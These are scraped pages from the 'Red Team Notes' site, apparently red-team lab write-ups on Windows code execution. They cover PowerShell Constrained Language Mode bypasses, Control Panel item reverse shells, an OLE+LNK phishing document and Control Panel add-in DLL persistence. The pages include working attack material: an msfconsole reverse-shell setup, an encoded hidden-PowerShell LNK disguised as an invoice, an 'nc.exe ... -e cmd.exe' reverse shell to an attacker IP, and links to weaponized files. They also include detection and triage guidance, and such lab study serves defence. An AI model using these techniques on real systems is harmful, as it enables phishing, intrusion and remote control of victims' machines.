![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lc80Wz7oFTLicKpgqdv%252F-Lc83UYBZZHhXT_-Wmf4%252FScreenshot%2520from%25202019-04-10%252022-05-24.png%3Falt%3Dmedia%26token%3Dfeb9b0f5-f1ad-43c2-9b69-a5eb5edf0b1b&width=768&dpr=3&quality=100&sign=74658a9e&sv=2) [](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl#observation) Observation ------------------------------------------------------------------------------------------------------------------------------------------ Calculator is spawned by svchost.exe: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lc80Wz7oFTLicKpgqdv%252F-Lc81mqIr4hmt8oEtfl-%252FScreenshot%2520from%25202019-04-10%252021-57-52.png%3Falt%3Dmedia%26token%3D1c454d5e-f72d-4cc3-8d42-75e0c2e7218a&width=768&dpr=3&quality=100&sign=2106b9f6&sv=2) [](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl#references) References ---------------------------------------------------------------------------------------------------------------------------------------- [http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.htmlsubt0x11.blogspot.com](http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html) [PreviousForfiles Indirect Command Execution](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution) [NextPowershell Without Powershell.exe](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl#execution) * [Observation](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl#observation) * [References](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl#references) --- # Powershell Constrained Language Mode Bypass | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass.md) . Constrained Language Mode in short locks down the nice features of Powershell usually required for complex attacks to be carried out. [](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#powershell-inside-powershell) Powershell Inside Powershell ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- For fun - creating another powershell instance inside powershell without actually spawning a new `powershell.exe` process: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LM933gU6QIBeSF4St1D%252F-LM93J31GDKWmZl5XU1Y%252Fps-invoke.gif%3Falt%3Dmedia%26token%3Dc94043bc-822f-4d6d-8ed0-5188e53f89a9&width=768&dpr=3&quality=100&sign=c111244a&sv=2) [](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#constrained-language-mode) Constrained Language Mode ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Enabling constrained language mode, that does not allow powershell execute complex attacks (i.e. mimikatz): Checking constrained language mode is enabled: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LM9PSZpLGwJbcXVvYHE%252F-LM9PVvArwDX8-xSuyFS%252Fps-constrained.png%3Falt%3Dmedia%26token%3D34ce6025-f3fb-42b0-8c02-81b0ef4f2018&width=768&dpr=3&quality=100&sign=83fed21&sv=2) With `ConstrainedLanguage`, trying to download a file from remote machine, we get `Access Denied`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LM9QXG0J_8rV03UwQLG%252F-LM9Qd-R1KaTueujpj9C%252Fps-constrained-download-denied.png%3Falt%3Dmedia%26token%3D6f8bd579-6acc-496c-8f50-9d8814c6f44b&width=768&dpr=3&quality=100&sign=a1d3dd5c&sv=2) However, if you have access to the system and enough privileges to change environment variables, the lock can be lifted by removing the variable `__PSLockdownPolicy` and re-spawning another powershell instance. ### [](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#powershell-downgrade) Powershell Downgrade If you have the ability to downgrade to Powershell 2.0, this can allow you to bypass the `ConstrainedLanguage`mode. Note how `$ExecutionContext.SessionState.LanguageMode` keeps returning `ConstrainedLangue` in powershell instances that were not launched with `-version Powershell 2` until it does not: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LM9ifDRPS0RB9NvTGd5%252F-LM9juaZ8VJkPyFsl1AJ%252Fps-downgrade.png%3Falt%3Dmedia%26token%3D1f05b4cc-03a8-43d2-8118-5a4163e877df&width=768&dpr=3&quality=100&sign=1c3015fc&sv=2) [](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#system32-bypass) System32 Bypass -------------------------------------------------------------------------------------------------------------------------------------------- [Carrie Roberts](https://twitter.com/OrOneEqualsOne) discovered and wrote in her post [https://www.blackhillsinfosec.com/constrained-language-mode-bypass-when-pslockdownpolicy-is-used/](https://www.blackhillsinfosec.com/constrained-language-mode-bypass-when-pslockdownpolicy-is-used/) that there's another way to bypass the contrained language mode and it's super easy - the path from where your script is being executed, needs to contain the string `system32`, meaning even if you rename the script to `system32.ps1`, it should work, so let's try it and confirm it works: [](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#references) References ---------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fdevblogs.microsoft.com%2Fpowershell%2Fwp-content%2Fuploads%2Fsites%2F30%2F2024%2F10%2FMicrosoft-favicon-300x300.jpg&width=20&dpr=3&quality=100&sign=9c43cc8e&sv=2)PowerShell Constrained Language Mode - PowerShell TeamPowerShell Team](https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-constrained-language-mode/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.blackhillsinfosec.com%2Fapple-touch-icon.png&width=20&dpr=3&quality=100&sign=e675a72&sv=2)Powershell Without Powershell - How To Bypass Application Whitelisting, Environment Restrictions & AV - Black Hills Information Security, Inc.Black Hills Information Security, Inc.](https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/) [Detecting Offensive PowerShell Attack ToolsActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=2604) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fsecure.gravatar.com%2Fblavatar%2Fe684150af3cd9c2013d9a5aa2a4452679904bbfe587df7b4583163d35d2342b2%3Fs%3D32&width=20&dpr=3&quality=100&sign=e53c5742&sv=2)Simple Bypass for PowerShell Constrained Language Modepentest-n00b](https://pentestn00b.wordpress.com/2017/03/20/simple-bypass-for-powershell-constrained-language-mode/) [PreviousPowershell Without Powershell.exe](https://www.ired.team/offensive-security/code-execution/powershell-without-powershell) [NextForcing Iexplore.exe to Load a Malicious DLL via COM Abuse](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse) Last updated 3 years ago * [Powershell Inside Powershell](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#powershell-inside-powershell) * [Constrained Language Mode](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#constrained-language-mode) * [Powershell Downgrade](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#powershell-downgrade) * [System32 Bypass](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#system32-bypass) * [References](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass#references) Copy [Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘) Copy PS C:\Users\mantvydas> $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage Copy PS>.\test.ps1; mv .\test.ps1 system32.ps1; .\system32.ps1 ConstrainedLanguage FullLanguage PS>cat .\system32.ps1 $ExecutionContext.SessionState.LanguageMode --- # Control Panel Item | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution.md) . [](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution#execution) Execution ---------------------------------------------------------------------------------------------------------------------------- Generating a simple x64 reverse shell in a .cpl format: attacker@local Copy msfconsole use windows/local/cve_2017_8464_lnk_lpe set payload windows/x64/shell_reverse_tcp set lhost 10.0.0.5 exploit root@~# nc -lvp 4444 listening on [any] 4444 ... We can see that the .cpl is simply a DLL with DllMain function exported: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHIXU2zFIWU9O9COZIr%252F-LHIXQpMGJKwzgdWzy0y%252Flnk-dllmain.png%3Falt%3Dmedia%26token%3D2368ca38-a67e-4673-8aba-8b93cc95aeea&width=768&dpr=3&quality=100&sign=4843b3dc&sv=2) A quick look at the dissasembly of the dll suggests that rundll32.exe will be spawned, a new thread will be created in suspended mode, which most likely will get injected with our shellcode and eventually resumed to execute that shellcode: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHIZQj8Q9-w8aZRgnOX%252F-LHIZUKHIjXv2Va0DZfB%252Flnk-dissasm.png%3Falt%3Dmedia%26token%3D4ea6534e-8f19-4b68-b2ec-748e2929861e&width=768&dpr=3&quality=100&sign=7f0a1116&sv=2) Invoking the shellcode via control.exe: Attacking machine receiving the reverse shell: [](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution#observations) Observations ---------------------------------------------------------------------------------------------------------------------------------- Note how rundll32 spawns cmd.exe and establishes a connection back to the attacker - these are signs that should raise your suspicion when investingating a host for a compromise: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHISBP3bp2vx8W8uMyo%252F-LHISXwhbMRB55-2L0r4%252Flnk-connection.png%3Falt%3Dmedia%26token%3D08e188cd-89ec-47c3-bcd9-1c21905c54ff&width=768&dpr=3&quality=100&sign=f6f8a2ce&sv=2) As always, sysmon logging can help in finding suspicious commandlines being executed in your environment: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHIoYl6UvIhgtp9Rvjn%252F-LHIoWGfiOuoxKPxwSH4%252Flnk-sysmon.png%3Falt%3Dmedia%26token%3De030af82-28a7-4216-9f2f-8b60d1f3c75c&width=768&dpr=3&quality=100&sign=dd01895d&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution#bonus-create-shortcut-with-powershell) Bonus - Create Shortcut With PowerShell -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution#references) References ------------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)System Binary Proxy Execution: Control Panel, Sub-technique T1218.002 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1196) [https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1060/T1060.mdgithub.com](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1060/T1060.md) [PreviousMSHTA](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution) [NextExecuting Code as a Control Panel Item through an Exported Cplapplet Function](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution#execution) * [Observations](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution#observations) * [Bonus - Create Shortcut With PowerShell](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution#bonus-create-shortcut-with-powershell) * [References](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution#references) attacker@victim Copy control.exe .\FlashPlayerCPLApp.cpl # or rundll32.exe shell32.dll,Control_RunDLL file.cpl # or rundll32.exe shell32.dll,Control_RunDLLAsUser file.cpl attacker@local Copy 10.0.0.2: inverse host lookup failed: Unknown host connect to [10.0.0.5] from (UNKNOWN) [10.0.0.2] 49346 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. Copy $TargetFile = "$env:SystemRoot\System32\calc.exe" $ShortcutFile = "C:\experiments\cpl\calc.lnk" $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) $Shortcut.TargetPath = $TargetFile $Shortcut.Save() --- # Phishing: OLE + LNK | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk.md) . This lab explores a popular phishing technique where attackers embed .lnk files into the Office documents and camouflage them with Ms Word office icons in order to deceive victims to click and run them. [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk#weaponization) Weaponization --------------------------------------------------------------------------------------------------------------------------------------- Creating an .LNK file that will trigger the payload once executed: attacker@local Copy $command = 'Start-Process c:\shell.cmd' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) $obj = New-object -comobject wscript.shell $link = $obj.createshortcut("c:\experiments\ole+lnk\Invoice-FinTech-0900541.lnk") $link.windowstyle = "7" $link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe" $link.arguments = "-Nop -sta -noni -w hidden -encodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAOgBcAHMAaABlAGwAbAAuAGMAbQBkAA==" $link.save() Powershell payload will trigger a rudimentary NC reverse shell: c:\\shell.cmd Copy C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe Once the above powershell script is executed, an `.LNK` shortcut is created: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRFnt-cVU18pcOCBHO%252F-LKRGjwTWCMH7EOxbc_b%252Fole-lnk-shortcut-created.png%3Falt%3Dmedia%26token%3Dd2b25553-5d1d-4535-96b3-f6b0d1ffb194&width=768&dpr=3&quality=100&sign=68ef2a63&sv=2) Let's create a Word document that will contain the malicious shortcut that was created in the previous step: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRFnt-cVU18pcOCBHO%252F-LKRH-VzxxtN9fSNg2js%252Fole-good-document.png%3Falt%3Dmedia%26token%3D7fae95e2-4db2-4cf1-8e41-9de8245ac2eb&width=768&dpr=3&quality=100&sign=662df730&sv=2) Let's insert a new object into the document by selecting a `Package`and changing its icon source to a Microsoft Word executable: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRIe3d5PL89KiDiGIV%252F-LKRH8A1jNeHJgRGRomK%252Fole-insert-ole-object-with-icon.png%3Falt%3Dmedia%26token%3D4434c3d0-adfd-4352-9968-c5c10c527f1a&width=768&dpr=3&quality=100&sign=5e95a34c&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRIe3d5PL89KiDiGIV%252F-LKRHOVbCzGL4Zo2WrpY%252Fole-change-icon.png%3Falt%3Dmedia%26token%3D427349aa-13bd-47c4-8180-a01c41bcb7a6&width=768&dpr=3&quality=100&sign=44163e13&sv=2) Point the package to the .lnk file containing the payload: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRIe3d5PL89KiDiGIV%252F-LKRIT6mm4h7eR5y9ONB%252Fole-payload.png%3Falt%3Dmedia%26token%3Dd0213d76-d56d-483e-a477-a6da38654390&width=768&dpr=3&quality=100&sign=cb4ae39e&sv=2) Final result: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRIe3d5PL89KiDiGIV%252F-LKRIbB24hFM9R322XmS%252Fole-weaponized.png%3Falt%3Dmedia%26token%3D032c5758-a491-48a7-85b3-aff36f38f94a&width=768&dpr=3&quality=100&sign=7a873515&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk#execution) Execution ------------------------------------------------------------------------------------------------------------------------------- Victim executing the embedded document. Gets presented with a popup to confirm execution: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRIingfVbtKzhAXuu4%252F-LKRIrtSxtXDuyyIk0fC%252Fole-execution.png%3Falt%3Dmedia%26token%3Dc9a8a13d-20bf-40b9-b2bc-8d6033eedbf4&width=768&dpr=3&quality=100&sign=206f3eb7&sv=2) Once the victim confirms they want to open the file - the reverse shell comes back to the attacker: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRIingfVbtKzhAXuu4%252F-LKRIrtTxniAvaJ_vV5m%252Fole-execution2.png%3Falt%3Dmedia%26token%3D18209e76-c17d-4f55-8f1b-5e428fae392c&width=768&dpr=3&quality=100&sign=13fe23eb&sv=2) 624B [ole.ps1](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKRCds7Vv8FFU8H1D1b%2F-LKRFRs6PmCItZfJf0iN%2Fole.ps1?alt=media&token=7eb7972d-40ef-4c83-8322-4439a5f9808b) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKRCds7Vv8FFU8H1D1b%2F-LKRFRs6PmCItZfJf0iN%2Fole.ps1?alt=media&token=7eb7972d-40ef-4c83-8322-4439a5f9808b) OLE+LNK Powershell Script 1KB [Invoice-FinTech-0900541.lnk](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKRCds7Vv8FFU8H1D1b%2F-LKRFM7BiZ-YUrYrELHD%2FInvoice-FinTech-0900541.lnk?alt=media&token=a67ef5cd-5cca-44fd-a8f9-b42e2c82568a) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKRCds7Vv8FFU8H1D1b%2F-LKRFM7BiZ-YUrYrELHD%2FInvoice-FinTech-0900541.lnk?alt=media&token=a67ef5cd-5cca-44fd-a8f9-b42e2c82568a) Invoice-FinTech-0900541.lnk 14KB [Completely not a scam - ole+lnk.docx](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKRCds7Vv8FFU8H1D1b%2F-LKRFEk2QEZ6V0akcxvk%2FCompletely%20not%20a%20scam%20-%20ole%2Blnk.docx?alt=media&token=42704fd7-2ab8-4c34-b634-33c78bd57f5f) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKRCds7Vv8FFU8H1D1b%2F-LKRFEk2QEZ6V0akcxvk%2FCompletely%20not%20a%20scam%20-%20ole%2Blnk.docx?alt=media&token=42704fd7-2ab8-4c34-b634-33c78bd57f5f) Phishing: OLE+Lnk MS Word Doc Package [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk#observations) Observations ------------------------------------------------------------------------------------------------------------------------------------- After the payload is triggered, the process ancestry looks as expected - powershell gets spawned by winword, cmd is spawned by powershell..: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRJDQTbUxGUjd7WLxd%252F-LKRJFn47fbXoXbUavdK%252Fole-ancestry1.png%3Falt%3Dmedia%26token%3D2a4d8cc0-e245-4619-abc5-3e05737b7b2c&width=768&dpr=3&quality=100&sign=8f4cd3ad&sv=2) Soon after, the powershell gets killed and cmd.exe becomes an orphaned process: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRJDQTbUxGUjd7WLxd%252F-LKRJHK53l5r1CQKTwBT%252Fole-ancestry2.png%3Falt%3Dmedia%26token%3D2b83123a-1229-4e6d-9e36-8b28f6f06bbc&width=768&dpr=3&quality=100&sign=4f152b8b&sv=2) Like in [T1137: Phishing - Office Macros](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros) , you can use rudimentary tools on your Windows workstation to quickly triage the suspicious Office document. First off, rename the file to a .zip extension and unzip it. Then you can navigate to `word\embeddings` and find `oleObject.bin` file that contains the malicious `.lnk`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRfKa4jYy2qjm9kkTv%252F-LKRdsdTB5mK-QRljpQN%252Fole-embedded-bin.png%3Falt%3Dmedia%26token%3Dfafe3987-8cf1-41ba-8025-2268b95b7ce4&width=768&dpr=3&quality=100&sign=32276b4f&sv=2) Then you can do a simple `strings` or hexdump against the file and you should immediately see signs of something that should raise your eyebrow(s): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKRfKa4jYy2qjm9kkTv%252F-LKRfHZ7vT28S8ZGjHjx%252Fole-hexdump.png%3Falt%3Dmedia%26token%3D6a6ea6be-beab-4f57-aed7-3275bab53bd3&width=768&dpr=3&quality=100&sign=48d0fc3d&sv=2) As an analyst, one should look for `CLSID 00021401-0000-0000-c000-000000000046` in the .bin file, which signifies that the .doc contains an embnedded .lnk file. In our case this can be observed here: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLLlUffKcHfBT7MFQh5%252F-LLLlfqklzz5ti7PtC1W%252Flnk-clsid.png%3Falt%3Dmedia%26token%3D43f2f9b1-b009-4f9e-b669-9e9946585830&width=768&dpr=3&quality=100&sign=f63e5349&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk#references) References --------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)\[MS-SHLLINK\]: ShellLinkHeaderMicrosoftLearn](https://msdn.microsoft.com/en-gb/library/dd891343.aspx) [PreviousT1137: Phishing - Office Macros](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros) [NextPhishing: Embedded Internet Explorer](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer) Last updated 7 years ago * [Weaponization](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk#weaponization) * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk#execution) * [Observations](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk#observations) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk#references) Copy hexdump.exe -C .\oleObject1.bin --- # Code Execution through Control Panel Add-ins | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins.md) . It's possible to force explorer.exe to load your DLL that is compiled as a Control Panel Item and is registered as a Control Panel Add-in. This technique could also be considered for persistence. [](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins#execution) Execution --------------------------------------------------------------------------------------------------------------------------------- Let's compile our control panel item (which is a simple DLL with an exported function `Cplapplet`) from the below code: Copy #include #include "pch.h" //Cplapplet extern "C" __declspec(dllexport) LONG Cplapplet( HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2 ) { MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0); return 1; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { Cplapplet(NULL, NULL, NULL, NULL); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Let's now register our control panel item as an add-in (defenders beware of these registry modifications): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MAHMzIzOTsPGuIdKsAa%252F-MAHaORnicckqEQhwYT-%252Fimage.png%3Falt%3Dmedia%26token%3D5034fcce-4350-433c-804d-6eaa43a819b3&width=768&dpr=3&quality=100&sign=63f00507&sv=2) Now, whenever the Control Panel is opened, our DLL will be injected into explorer.exe and our code will execute: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MAHbDywRIGCazbSk6Ck%252F-MAHc5q-vFlK4vwRqRGL%252Fcontrol-panel-item-addin.gif%3Falt%3Dmedia%26token%3D5549a205-3c07-466d-8e76-5e0bf175de70&width=768&dpr=3&quality=100&sign=ab86f86c&sv=2) Below shows that our DLL is injected into explorer.exe: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MAHbDywRIGCazbSk6Ck%252F-MAHe8Inj3QJgEYxnGzc%252Fimage.png%3Falt%3Dmedia%26token%3D05110556-5e7e-481f-9792-b3db766a541e&width=768&dpr=3&quality=100&sign=120818fa&sv=2) [](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins#detection) Detection --------------------------------------------------------------------------------------------------------------------------------- * Look for modifications in the following registry key: `HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs` * Look for / prevent DLLs from loading from unsecure locations [](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins#references) References ----------------------------------------------------------------------------------------------------------------------------------- 